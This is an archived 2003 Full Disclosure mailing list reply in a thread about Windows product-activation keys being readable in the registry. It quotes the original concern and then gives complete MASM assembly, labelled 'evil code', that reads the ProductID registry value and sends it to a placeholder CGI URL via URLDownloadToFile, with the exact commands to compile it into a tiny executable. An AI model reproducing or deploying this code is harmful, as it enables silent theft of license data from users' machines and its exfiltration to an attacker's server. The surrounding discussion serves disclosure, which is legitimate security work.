Full Disclosure mailing list archives
Re: Product activation is exploitable
From: w g <xillwillx () yahoo com>
Date: Sat, 6 Sep 2003 17:22:52 -0700 (PDT)
with simple assembly code you could send the data to a cgi script too ;-------------------------begin evil code ---------------------- .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\shell32.inc include \masm32\include\advapi32.inc include \masm32\include\masm32.inc include \masm32\include\urlmon.inc includelib \masm32\lib\urlmon.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\advapi32.lib .data SubKey2 db "SOFTWARE\Microsoft\Windows\CurrentVersion\",0 szWinKey db "ProductID",0 szHost db "http://www.yoursite.com/cgi-bin/logme.cgi?action=log&ID=%s",0 WinKeySize DWORD 255 .data? WinKeyData db 255 dup (?) TheReturn DWORD ? PostBuffer db 256 dup(?) .code start: invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr SubKey2,0,KEY_READ,addr TheReturn invoke RegQueryValueEx,TheReturn,addr szWinKey,0,0,addr WinKeyData, addr WinKeySize ;the Product key is in WinKeydata invoke RegCloseKey , TheReturn invoke wsprintf,addr PostBuffer,addr szHost,ADDR WinKeyData invoke URLDownloadToFile, 0,addr PostBuffer, 0, 0, 0 invoke ExitProcess, eax end start ;--------------------------------------------------------------------------snip compiles with masm to 1.5 kb , yes 1.5 kb :) c:\masm32\bin\ml /c /coff *.asm c:\masm32\bin\link /SUBSYSTEM:WINDOWS /RELEASE /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.idata=.text /SECTION:.text,EWR /FILEALIGN:512 *.obj -------------------------------------------------------------------------------------------------------------------------------- - illwill http://illmob.org Geoincidents <geoincidents () getinfo org> wrote: So I'm reading this story http://www.nccomp.com/sysadmin/dell.html about a company who laid off their admin and he took all their product keys and posted them on the internet. Well to make a long story short, somehow applying a hotfix caused the software to deactivate (it has to have a deactivation feature or what good is it?) and require activation again which of course was impossible since MS shut those numbers down. It got to thinking, what if the dcom worm had grabbed the product key from [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] "ProductKey"="XXXXX-XXXXX-XXXXX-XXXXX-XXXXX" or ProductID="XXXXX-OEM-XXXXXXX-XXXXX" and posted it to a dozen random newsgroups? According to the EULA Microsoft has the right to shut down every one who becomes infected and compromised in this manner. Sure looks like a security issue to me, product activation makes this registry entry which allows all users full read access a dangerous thing to have laying around unprotected. Geo. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html --------------------------------- Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software
Current thread:
- Re: Anybody know what Sobig.F has downloaded? Brent J. Nordquist (Sep 01)
- <Possible follow-ups>
- RE: Anybody know what Sobig.F has downloaded? Ferris, Robin (Sep 02)
- RE: Anybody know what Sobig.F has downloaded? Nick FitzGerald (Sep 06)
- Product activation is exploitable Geoincidents (Sep 06)
- Re: Product activation is exploitable w g (Sep 06)
- RE: Product activation is exploitable Rick Kingslan (Sep 06)
- Re: Product activation is exploitable Kristian Hermansen (Sep 06)
- Re: Product activation is exploitable Lan Guy (Sep 07)
- RE: Product activation is exploitable Rick Kingslan (Sep 07)
- RE: Product activation is exploitable Justin Shin (Sep 07)
- RE: Anybody know what Sobig.F has downloaded? Nick FitzGerald (Sep 06)
- Re: Product activation is exploitable Geoincidents (Sep 07)
- RE: Product activation is exploitable Rick Kingslan (Sep 07)